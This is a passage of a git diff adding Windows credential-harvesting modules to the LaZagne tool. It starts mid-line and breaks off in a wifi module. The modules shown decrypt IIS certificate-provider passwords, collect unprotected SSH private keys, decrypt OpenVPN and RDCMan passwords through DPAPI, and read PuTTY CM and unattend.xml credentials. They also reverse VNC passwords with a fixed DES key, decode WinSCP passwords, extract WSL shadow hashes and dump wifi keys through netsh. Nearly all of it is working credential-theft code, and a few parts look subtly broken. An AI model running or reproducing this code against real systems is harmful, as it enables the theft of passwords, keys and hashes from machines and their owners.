category='sysadmin', registry_used=True, winapi_used=True) + + def find_files(self, path, file): + """ + Try to find all files with the same name + """ + founded_files = [] + for dirpath, dirnames, files in os.walk(path): + for file_name in files: + if fnmatch.fnmatch(file_name, file): + founded_files.append(dirpath + '\\' + file_name) + + return founded_files + + def create_RSAKeyValueFile(self, exe_file, container): + tmp_file = "".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml" + try: + os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul") + except OSError: + self.debug(u'Error executing {container}'.format(container=container)) + tmp_file = '' + + return tmp_file + + def get_registry_key(self, reg_key, parameter): + data = '' + try: + if reg_key.startswith('HKEY_LOCAL_MACHINE'): + hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', '')) + data = winreg.QueryValueEx(hkey, parameter)[0] + + except Exception as e: + self.debug(e) + + return data + + def decrypt_hash_b64(self, hash_b64, privkey): + hash = bytearray(base64.b64decode(hash_b64)) + hash.reverse() + hash_b64 = base64.b64encode(hash) + hash = base64.b64decode(hash_b64) + message = rsa.decrypt(hash, privkey) + return message.decode('UTF-16') + + def GetLong(self, nodelist): + rc = [] + for node in nodelist: + if node.nodeType == node.TEXT_NODE: + rc.append(node.data) + + st = ''.join(rc) + raw = base64.b64decode(st) + return int(raw.encode('hex'), 16) + + def read_RSAKeyValue(self, rsa_key_xml): + xmlStructure = minidom.parseString(rsa_key_xml) + + MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes) + EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes) + D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes) + P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes) + Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes) + InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes) + + privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q) + self.debug(u'RSA Key Value - PEM:\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM'))) + + return privkey + + def run(self): + pfound = [] + + ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Enabled') + if ccp_enabled != 1: + self.debug(u'IIS CentralCertProvider is not enabled') + return + + exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe') + if len(exe_files) == 0: + exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe') + if len(exe_files) == 0: + self.debug(u'File not found aspnet_regiis.exe') + return + + self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files)) + rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey") + if rsa_xml_file == '': + self.debug(u'Problems extracting RSA Key Value') + return + + with open(rsa_xml_file, 'rb') as File: + rsa_key_xml = File.read() + + os.remove(rsa_xml_file) + self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file)) + privkey = self.read_RSAKeyValue(rsa_key_xml) + values = {} + + CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'CertStoreLocation') + values['CertStoreLocation'] = CertStoreLocation + + username = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Username') + values['Username'] = username + + pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Password') + values['Password'] = self.decrypt_hash_b64(pass64, privkey) + + privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'PrivateKeyPassword') + values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey) + + pfound.append(values) + return pfound diff --git a/lazagne/softwares/sysadmin/keepassconfig.py b/lazagne/softwares/sysadmin/keepassconfig.py new file mode 100644 index 0000000..8533e5d --- /dev/null +++ b/lazagne/softwares/sysadmin/keepassconfig.py @@ -0,0 +1,116 @@ +# -*- coding: utf-8 -*- +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import * + +import os + +from xml.etree.ElementTree import parse + +class KeePassConfig(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin') + self.attr_to_extract = ["Keyfile", "Database", "Type"] + + def run(self): + """ + Main function + """ + + pwd_found = [] + + #Keepass1 + connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') + if os.path.exists(connection_file_directory): + connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini') + if os.path.isfile(connection_file_location): + file_content = open(connection_file_location, 'r').read() + #KeeKeySourceID + if len(file_content.split("KeeKeySourceID")) > 1: + KeeKeySource_number = len(file_content.split("KeeKeySourceID")) - 1 + for i in range(0, KeeKeySource_number ): + database = file_content.partition("KeeKeySourceID" + str(i) + "=" )[2].partition('\n')[0] + database = database.replace('..\\..\\', 'C:\\') + keyfile = file_content.partition("KeeKeySourceValue" + str(i) + "=" )[2].partition('\n')[0] + pwd_found.append({ + 'Keyfile': keyfile, + 'Database': database + }) + #KeeLastDb + if file_content.partition("KeeLastDb=")[1] == "KeeLastDb=": + database = file_content.partition("KeeLastDb=")[2].partition('\n')[0] + database = database.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + #Keepass2 + connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') + if os.path.exists(connection_file_directory): + connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml') + + if os.path.isfile(connection_file_location): + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//Association") + for connection_node in connection_nodes: + database = connection_node.find('DatabasePath').text.replace('..\\..\\', 'C:\\') + type = "" + if connection_node.find('Password') is not None: + type += "Password - " + if connection_node.find('UserAccount') is not None: + type += "NTLM - " + try: + keyfile = connection_node.find('KeyFilePath').text.replace('..\\..\\', 'C:\\') + type += "Keyfile - " + except: + keyfile = "No keyfile found" + + pwd_found.append({ + 'Keyfile': keyfile, + 'Database': database, + 'Type': type[:-3] + }) + except: + pass + + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//LastUsedFile") + for connection_node in connection_nodes: + database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + except: + pass + + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//ConnectionInfo") + for connection_node in connection_nodes: + database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + except: + pass + + return pwd_found diff --git a/lazagne/softwares/sysadmin/opensshforwindows.py b/lazagne/softwares/sysadmin/opensshforwindows.py new file mode 100644 index 0000000..07f5497 --- /dev/null +++ b/lazagne/softwares/sysadmin/opensshforwindows.py @@ -0,0 +1,90 @@ +# -*- coding: utf-8 -*- +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant +# from Crypto.PublicKey import RSA +# from Crypto.PublicKey import DSA +import os + + +class OpenSSHForWindows(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin') + #self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') + + # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency) + # def is_private_key_unprotected(self, key_content_encoded, key_algorithm): + # """ + # Check if the private key can be loaded without specifying any passphrase. + # + # PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class. + # + # :param key_content_encoded: Encoded content of the private key to test + # :param key_algorithm: Algorithm of the key (RSA or DSA) + # :return: True only if the key can be successfuly loaded and is usable + # """ + # state = False + # try: + # # Try to load it + # if key_algorithm == "RSA": + # key = RSA.importKey(key_content_encoded) + # else: + # key = DSA.importKey(key_content_encoded) + # # Validate loading + # state = (key is not None and key.can_sign() and key.has_private()) + # except Exception as e: + # self.error(u"Cannot validate key protection '%s'" % e) + # state = False + # pass + # + # return state + + def extract_private_keys_unprotected(self): + """ + Extract all DSA/RSA private keys that are not protected with a passphrase. + + :return: List of encoded key (key file content) + """ + keys = [] + if os.path.isdir(self.key_files_location): + for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True): + for f in filenames: + key_file_path = os.path.join(dirpath, f) + if os.path.isfile(key_file_path): + try: + # Read encoded content of the key + with open(key_file_path, "r") as key_file: + key_content_encoded = key_file.read() + # Determine the type of the key (public/private) and what is it algorithm + if "DSA PRIVATE KEY" in key_content_encoded: + key_algorithm = "DSA" + elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded: + key_algorithm = "RSA" + else: + key_algorithm = None + # Check if the key can be loaded (used) without passphrase + # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded, + # key_algorithm): + if key_algorithm: + keys.append(key_content_encoded) + except Exception as e: + self.error(u"Cannot load key file '%s' '%s'" % (key_file_path, e)) + pass + + return keys + + def run(self): + """ + Main function + """ + self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') + # Extract all DSA/RSA private keys that are not protected with a passphrase + unprotected_private_keys = self.extract_private_keys_unprotected() + + # Parse and process the list of keys + key_found = [] + for key in unprotected_private_keys: + values = {"Privatekey": key} + key_found.append(values) + + return key_found diff --git a/lazagne/softwares/sysadmin/openvpn.py b/lazagne/softwares/sysadmin/openvpn.py new file mode 100644 index 0000000..66e4df7 --- /dev/null +++ b/lazagne/softwares/sysadmin/openvpn.py @@ -0,0 +1,56 @@ +try: + import _winreg as winreg +except ImportError: + import winreg + +from lazagne.config.winstructure import * +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import Win32CryptUnprotectData +from lazagne.config.constant import constant + + +class OpenVPN(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True) + + def check_openvpn_installed(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs') + return key + except Exception as e: + self.debug(str(e)) + return False + + def decrypt_password(self, encrypted_password, entropy): + result_bytes = Win32CryptUnprotectData(encrypted_password, + entropy=entropy, + is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + return result_bytes.decode("utf-8") + + def get_credentials(self, key): + pwd_found = [] + num_profiles = winreg.QueryInfoKey(key)[0] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + values = {'Profile': name_skey} + try: + encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0] + entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1] + password = self.decrypt_password(encrypted_password, entropy) + values['Password'] = password.decode('utf16') + except Exception as e: + self.debug(str(e)) + pwd_found.append(values) + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found + + def run(self): + openvpn_key = self.check_openvpn_installed() + if openvpn_key: + results = self.get_credentials(openvpn_key) + if results: + return results diff --git a/lazagne/softwares/sysadmin/puttycm.py b/lazagne/softwares/sysadmin/puttycm.py new file mode 100644 index 0000000..1d1eac5 --- /dev/null +++ b/lazagne/softwares/sysadmin/puttycm.py @@ -0,0 +1,51 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode + +import os + + +class Puttycm(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True) + + def run(self): + database_path = self.get_default_database() + if database_path and os.path.exists(database_path): + return self.parse_xml(database_path) + + def get_default_database(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager') + db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0]) + winreg.CloseKey(key) + return db + except Exception: + return False + + def parse_xml(self, database_path): + xml_file = os.path.expanduser(database_path) + tree = ElementTree(file=xml_file) + root = tree.getroot() + + pwd_found = [] + elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password'] + for connection in root.iter('connection'): + children = connection.getchildren() + values = {} + for child in children: + for c in child: + if str(c.tag) in elements: + values[str(c.tag).capitalize()] = str(c.text) + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/rdpmanager.py b/lazagne/softwares/sysadmin/rdpmanager.py new file mode 100644 index 0000000..965c8d9 --- /dev/null +++ b/lazagne/softwares/sysadmin/rdpmanager.py @@ -0,0 +1,97 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import Win32CryptUnprotectData +from lazagne.config.constant import constant + +import os + + +class RDPManager(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True) + + def decrypt_password(self, encrypted_password): + try: + decoded = base64.b64decode(encrypted_password) + password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + password_decrypted = password_decrypted_bytes.decode("utf-8") + password_decrypted = password_decrypted.replace('\x00', '') + except Exception: + password_decrypted = encrypted_password.replace('\x00', '') + return password_decrypted + + def format_output_tag(self, tag): + tag = tag.lower() + if 'username' in tag: + tag = 'Login' + elif 'hostname' in tag: + tag = 'URL' + return tag.capitalize() + + def check_tag_content(self, values, c): + if 'password' in c.tag.lower(): + values['Password'] = self.decrypt_password(c.text) + else: + tag = self.format_output_tag(c.tag) + values[tag] = c.text + return values + + def parse_element(self, root, element): + pwd_found = [] + try: + for r in root.findall(element): + values = {} + for child in r.getchildren(): + if child.tag == 'properties': + for c in child.getchildren(): + values = self.check_tag_content(values, c) + elif child.tag == 'logonCredentials': + for c in child.getchildren(): + values = self.check_tag_content(values, c) + else: + values = self.check_tag_content(values, child) + if values: + pwd_found.append(values) + except Exception as e: + self.debug(str(e)) + + return pwd_found + + def run(self): + settings = [ + os.path.join(constant.profile['LOCALAPPDATA'], + u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), + os.path.join(constant.profile['LOCALAPPDATA'], + u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') + ] + + for setting in settings: + if os.path.exists(setting): + self.debug(u'Setting file found: {setting}'.format(setting=setting)) + + tree = ElementTree(file=setting) + root = tree.getroot() + pwd_found = [] + + elements = [ + 'CredentialsProfiles/credentialsProfiles/credentialsProfile', + 'DefaultGroupSettings/defaultSettings/logonCredentials', + 'file/server', + ] + + for element in elements: + pwd_found += self.parse_element(root, element) + + try: + for r in root.find('FilesToOpen'): + if os.path.exists(r.text): + self.debug(u'New setting file found: %s' % r.text) + pwd_found += self.parse_xml(r.text) + except Exception: + pass + + return pwd_found diff --git a/lazagne/softwares/sysadmin/unattended.py b/lazagne/softwares/sysadmin/unattended.py new file mode 100644 index 0000000..e2e6468 --- /dev/null +++ b/lazagne/softwares/sysadmin/unattended.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- + +import base64 + +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant +from lazagne.config.winstructure import string_to_unicode + +import os + + +class Unattended(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True) + + # Password should be encoded in b64 + def try_b64_decode(self, message): + try: + return base64.b64decode(message) + except Exception: + return message + + def run(self): + + windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows') + files = [ + 'Panther\\Unattend.xml', + 'Panther\\Unattended.xml', + 'Panther\\Unattend\\Unattended.xml', + 'Panther\\Unattend\\Unattend.xml', + 'System32\\Sysprep\\unattend.xml', + 'System32\\Sysprep\\Panther\\unattend.xml' + ] + + pwd_found = [] + xmlns = '{urn:schemas-microsoft-com:unattend}' + for file in files: + path = os.path.join(windir, string_to_unicode(file)) + if os.path.exists(path): + self.debug(u'Unattended file found: %s' % path) + tree = ElementTree(file=path) + root = tree.getroot() + + for setting in root.findall('%ssettings' % xmlns): + component = setting.find('%scomponent' % xmlns) + + auto_logon = component.find('%sauto_logon' % xmlns) + if auto_logon: + username = auto_logon.find('%sUsername' % xmlns) + password = auto_logon.find('%sPassword' % xmlns) + if all((username, password)): + # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) + if 'deleted' not in password.text.lower(): + pwd_found.append({ + 'Login': username.text, + 'Password': self.try_b64_decode(password.text) + }) + + user_accounts = component.find('%suser_accounts' % xmlns) + if user_accounts: + local_accounts = user_accounts.find('%slocal_accounts' % xmlns) + if local_accounts: + for local_account in local_accounts.findall('%slocal_account' % xmlns): + username = local_account.find('%sName' % xmlns) + password = local_account.find('%sPassword' % xmlns) + if all((username, password)): + if 'deleted' not in password.text.lower(): + pwd_found.append({ + 'Login': username.text, + 'Password': self.try_b64_decode(password.text) + }) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/vnc.py b/lazagne/softwares/sysadmin/vnc.py new file mode 100644 index 0000000..c27d6f3 --- /dev/null +++ b/lazagne/softwares/sysadmin/vnc.py @@ -0,0 +1,162 @@ +# Code based on vncpasswd.py by trinitronx +# https://github.com/trinitronx/vncpasswd.py +import binascii +import codecs +import traceback + +try: + import _winreg as winreg +except ImportError: + import winreg + +from software.sysadmin import d3des as d +from lazagne.config.winstructure import * +from lazagne.config.module_info import ModuleInfo + + +class Vnc(ModuleInfo): + def __init__(self): + self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + ModuleInfo.__init__(self, name='vnc', category='sysadmin') + + def split_len(self, seq, length): + return [seq[i:i + length] for i in range(0, len(seq), length)] + + def do_crypt(self, password, decrypt): + passpadd = (password + '\x00' * 8)[:8] + strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)]) + key = d.deskey(strkey, decrypt) + crypted = d.desfunc(passpadd, key) + return crypted + + def unhex(self, s): + try: + s = codecs.decode(s, 'hex') + except TypeError as e: + if e.message == 'Odd-length string': + self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) + s = codecs.decode(s[:-1], 'hex') + else: + return False + return s + + def reverse_vncpassword(self, hash): + encpasswd = self.unhex(hash) + pwd = None + if encpasswd: + # If the hex encoded passwd length is longer than 16 hex chars and divisible + # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) + # (1 hex char = 4 binary bits = 1 nibble) + hexpasswd = codecs.encode(encpasswd, 'hex') + if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: + splitstr = self.split_len(codecs.encode(hash, 'hex'), 16) + cryptedblocks = [] + for sblock in splitstr: + cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) + pwd = b''.join(cryptedblocks) + elif len(hexpasswd) <= 16: + pwd = self.do_crypt(encpasswd, True) + else: + pwd = self.do_crypt(encpasswd, True) + return pwd + + def vnc_from_registry(self): + pfound = [] + vncs = ( + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'), + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'), + ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'), + ) + + for vnc in vncs: + try: + if vnc[1].startswith('HKEY_LOCAL_MACHINE'): + hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', '')) + + elif vnc[1].startswith('HKEY_CURRENT_USER'): + hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', '')) + + reg_key = winreg.QueryValueEx(hkey, vnc[2])[0] + except Exception: + self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1])) + continue + + try: + enc_pwd = binascii.hexlify(reg_key).decode() + except Exception: + self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key)) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) + self.debug() + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_filesystem(self): + # os.environ could be used here because paths are identical between users + pfound = [] + vncs = ( + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ) + + for vnc in vncs: + string_to_match = vnc[2] + '=' + enc_pwd = '' + try: + with open(vnc[1], 'r') as file: + for line in file: + if string_to_match in line: + enc_pwd = line.replace(string_to_match, '').replace('\n', '') + except Exception: + self.debug('Problems with file: {file}'.format(file=vnc[1])) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd)) + self.debug(traceback.format_exc()) + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_process(self): + # Not yet implemented + return [] + + def run(self): + return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process() diff --git a/lazagne/softwares/sysadmin/winscp.py b/lazagne/softwares/sysadmin/winscp.py new file mode 100644 index 0000000..0674e19 --- /dev/null +++ b/lazagne/softwares/sysadmin/winscp.py @@ -0,0 +1,129 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER + + +class WinSCP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True) + self.hash = '' + + # ------------------------------ Getters and Setters ------------------------------ + def decrypt_char(self): + hex_flag = 0xA3 + charset = '0123456789ABCDEF' + + if len(self.hash) > 0: + unpack1 = charset.find(self.hash[0]) + unpack1 = unpack1 << 4 + + unpack2 = charset.find(self.hash[1]) + result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff + + # store the new hash + self.hash = self.hash[2:] + + return result + + def check_winscp_installed(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') + return key + except Exception as e: + self.debug(str(e)) + return False + + def check_masterPassword(self, key): + is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0] + winreg.CloseKey(key) + if str(is_master_pwd_used) == '0': + return False + else: + return True + + def get_credentials(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions') + except Exception as e: + self.debug(str(e)) + return False + + pwd_found = [] + num_profiles = winreg.QueryInfoKey(key)[0] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + num = winreg.QueryInfoKey(skey)[1] + + values = {} + elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'} + for nn in range(num): + k = winreg.EnumValue(skey, nn) + + for e in elements: + if k[0] == e: + if e == 'Password': + try: + values['Password'] = self.decrypt_password( + username=values.get('Login', ''), + hostname=values.get('URL', ''), + _hash=k[1] + ) + except Exception as e: + self.debug(str(e)) + else: + values[elements[k[0]]] = str(k[1]) + + if num != 0: + if 'Port' not in values: + values['Port'] = '22' + + pwd_found.append(values) + + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found + + def decrypt_password(self, username, hostname, _hash): + self.hash = _hash + hex_flag = 0xFF + + flag = self.decrypt_char() + if flag == hex_flag: + self.decrypt_char() + length = self.decrypt_char() + else: + length = flag + + ldel = (self.decrypt_char()) * 2 + self.hash = self.hash[ldel: len(self.hash)] + + result = '' + for ss in range(length): + + try: + result += chr(int(self.decrypt_char())) + except Exception as e: + self.debug(str(e)) + + if flag == hex_flag: + key = username + hostname + result = result[len(key): len(result)] + + return result + + def run(self): + winscp_key = self.check_winscp_installed() + if winscp_key: + if not self.check_masterPassword(winscp_key): + results = self.get_credentials() + if results: + return results + else: + self.warning(u'A master password is used. Passwords cannot been retrieved') diff --git a/lazagne/softwares/sysadmin/wsl.py b/lazagne/softwares/sysadmin/wsl.py new file mode 100644 index 0000000..b0a3195 --- /dev/null +++ b/lazagne/softwares/sysadmin/wsl.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +import os + + +class Wsl(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'wsl', 'sysadmin') + + def run(self): + pwd_found = [] + shadow_files_list = [] + + # Old WSL PATH + old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow') + + if os.path.exists(old_path): + shadow_files_list.append(old_path) + + # New WSL PATH need to look into Package folder + new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\') + if os.path.exists(new_path): + for root, dirs, files in os.walk(new_path): + for file in files: + if file == "shadow": + shadow_files_list.append(os.path.join(root, file)) + + # Extract the hashes + for shadow in shadow_files_list: + with open(shadow, 'r') as shadow_file: + for line in shadow_file.readlines(): + user_hash = line.replace('\n', '') + line = user_hash.split(':') + + # Check if a password is defined + if not line[1] in ['x', '*', '!']: + pwd_found.append({ + 'Hash': ':'.join(user_hash.split(':')[1:]), + 'Login': user_hash.split(':')[0].replace('\n', '') + }) + return pwd_found diff --git a/lazagne/softwares/wifi/__init__.py b/lazagne/softwares/wifi/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/wifi/wifi.py b/lazagne/softwares/wifi/wifi.py new file mode 100644 index 0000000..bf3dd41 --- /dev/null +++ b/lazagne/softwares/wifi/wifi.py @@ -0,0 +1,107 @@ +# -*- coding: utf-8 -*- +import os +import sys +import traceback + +from xml.etree.cElementTree import ElementTree +from subprocess import Popen, PIPE + +from lazagne.config.constant import constant +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import python_version + + +class Wifi(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'wifi', 'wifi') + + def decrypt_using_lsa_secret(self, key): + """ + Needs admin priv but will work with all systems + """ + if constant.system_dpapi and constant.system_dpapi.unlocked: + decrypted_blob = constant.system_dpapi.decrypt_wifi_blob(key) + if decrypted_blob: + try: + return decrypted_blob.decode(sys.getfilesystemencoding()) + except UnicodeDecodeError: + return str(decrypted_blob) + + def decrypt_using_netsh(self, ssid): + """ + Does not need admin priv but would work only with english and french systems + """ + if python_version == 2: + name = 'содержимое ключа' + else: + name = 'содержимое ключа'.encode('utf-8') + + language_keys = [ + b'key content', b'contenu de la cl', name + ] + + self.debug(u'Trying using netsh method') + process = Popen(['netsh.exe', 'wlan', 'show', 'profile', '{SSID}'.format(SSID=ssid), 'key=clear'], + stdin=PIPE, + stdout=PIPE, + stderr=PIPE) + stdout, stderr = process.communicate() + for st in stdout.split(b'\n'): + if any(i in st.lower() for i in language_keys): + password = st.split(b':')[1].strip() + return password + + def run(self): + # Run the module only once + if not constant.wifi_password: + interfaces_dir = 